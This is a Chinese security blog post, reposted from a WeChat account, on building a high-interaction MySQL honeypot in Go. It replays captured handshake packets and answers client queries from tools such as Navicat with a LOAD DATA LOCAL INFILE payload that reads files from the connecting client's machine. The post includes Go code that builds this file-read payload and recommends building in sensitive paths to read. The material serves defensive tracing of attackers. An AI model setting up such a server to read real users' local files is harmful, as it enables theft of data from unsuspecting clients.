MySQL高交互蜜罐速成

admin 2024年12月11日23:43:36评论9 views字数 3239阅读10分47秒阅读模式

前言:

本文为棉花糖会员站会员投稿,原文地址:

https://vip.bdziyi.com/54651/

闲聊几句

最近有溯源的一个需求,第一时间就想到了蜜罐。JSONP、配置文件、安全工具看了一圈下来,感觉最好用的还是 MySQL 蜜罐

Github 上有很多 MySQL 蜜罐的优秀项目,但是恕我大胆一句:代码逼死强迫症

但,在造轮子的过程中,还是有不少不一样的收获

Go TCP

Github 的项目大部分都是 Python socket 模拟 MySQL 前两个数据包的交互过程:

1、服务器发送MySQL的版本信息

2、接收客户端的账户验证信息,返回登录成功数据包

那 Go 自然也可以使用 net 来模拟 MySQL 和各个类型客户端的交互过程

先来看下 Go net TCP 服务器的代码:

func SqlHoneypot() {
 listener, err := net.Listen("tcp", ":3306")
 if err != nil {
  log.Fatalf("Error listening on port 3306: %v", err)
 }
 defer listener.Close()

 log.Info("Server is listening on port 3306")

 for {
  conn, err := listener.Accept()
  if err != nil {
   log.Warnf("Error accepting connection: %v", err)
   continue
  }

  go func(conn net.Conn) {
   defer conn.Close()
   log.Warnf("New connection from: %s", conn.RemoteAddr())
   honeypotPayload(conn)
  }(conn)
 }
}

绑定 TCP 协议和 3306 端口,使用 Goroutine 来简单处理并发,再加入无限的 for 循环不断刷新来接收客户端发来的不同信息

Goroutine:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html

MySQL 交互过程分析

先来看下 MySQL 命令行客户端和服务端的交互流程

MySQL高交互蜜罐速成
b6c31d01d420241210163539

详细的数据流量交互:

MySQL高交互蜜罐速成
d2b5ca33bd20241210163620

1、连接数据库

MySQL高交互蜜罐速成
d2b5ca33bd20241210163639
MySQL高交互蜜罐速成
d2b5ca33bd20241210163747

2、客户端发送验证信息

MySQL高交互蜜罐速成
d2b5ca33bd20241210163707
MySQL高交互蜜罐速成
d2b5ca33bd20241210163802

3、客户端发送查询语句

MySQL高交互蜜罐速成
d2b5ca33bd20241210163728
MySQL高交互蜜罐速成
d2b5ca33bd20241210163815

在 Go 中的代码实现就呼之欲出了,利用 WireShark 可以直接复制 hex 编码后的数据包,直接在代码中定义

ServerGreeting  = "4a0000000a352e372e32360008000000603e236c7f09736f00fff7c00200ff811500000000000000000000670635447d1c64532f02665c006d7973716c5f6e61746976655f70617373776f726400"

完整代码:https://github.com/C1ph3rX13/MythSQL/blob/main/mysql/Protocol.go

交互代码

网上盛传的 Navicat Premium 反制,在新版本更新之后已经被客户端限制:报错 200

但,蜜罐分析了最新版本的 Navicat Premium 17 的交互过程,可以完美适配

交互过程包括:

1、发送和接收

// honeypotPayload 处理连接并发送蜜罐负载
func honeypotPayload(conn net.Conn) {
 defer conn.Close()

 if err := send(conn, ServerGreeting); err != nil {
  log.Warnf("Error sending greeting: %v", err)
  return
 }

 if err := send(conn, LoginOK); err != nil {
  log.Warnf("Error sending login: %v", err)
  return
 }

 for {
  buf, err := bRecv(conn)
  if err != nil {
   log.Warnf("Error reading data: %v", err)
   return
  }

  if err = processCommands(conn, buf); err != nil {
   log.Warnf("Error processing commands: %v", err)
   return
  }
 }
}

2、判断客户端的回复,做出对应的模拟

// processCommands 处理请求中的命令
func processCommands(conn net.Conn, buf []byte) error {
 cmd := string(buf)
 var resp string

 switch {
 case strings.Contains(cmd, `utf8mb4`):
  resp = SetName
 case strings.Contains(cmd, `lower_case_%`):
  resp = Ndbcluster
 case strings.Contains(cmd, `information_schema.SCHEMATA`):
  resp = Schemata
 case strings.Contains(cmd, `SHOW DATABASES`):
  resp = ShowDatabases
 default:
  resp = Aggressor
 }

 return send(conn, resp)
}

3、其余响应一律发送读取文件的数据包

MySQL Payload

利用 LOAD LOCAL INTO FILE 读取攻击者本地文件是 MySQL 蜜罐的经典操作

先看下 Payload 的构造规则

MySQL高交互蜜罐速成
d2b5ca33bd20241210165042
MySQL高交互蜜罐速成
d2b5ca33bd20241210165054
MySQL高交互蜜罐速成
d2b5ca33bd20241210165104
MySQL高交互蜜罐速成
d2b5ca33bd20241210165113

最后得出构造规则的代码

// LoadLocalIntoFile 构造自定义读取文件的 Payload
func LoadLocalIntoFile(filename string) string {
 fileChr := []byte{byte(len(filename) + 1)}
 padding := []byte{0x00, 0x00, 0x01, 0xfb}
 fileByte := []byte(filename)

 evilResp := append(append(fileChr, padding...), fileByte...)

 return hex.EncodeToString(evilResp)
}

读取文件

MySQL高交互蜜罐速成
d2b5ca33bd20241210165243

总结

1、交互的数据包可以利用抓包模拟,这样简单粗暴

2、交互的规则需要灵活判断攻击者的思路,内置多个敏感路径去读取文件

3、当攻击者使用有防护的客户端时,无效

最后,

项目地址:

https://github.com/C1ph3rX13/MythSQL
 

 

原文始发于微信公众号(棉花糖fans):MySQL高交互蜜罐速成

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月11日23:43:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MySQL高交互蜜罐速成http://cn-sec.com/archives/3494287.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息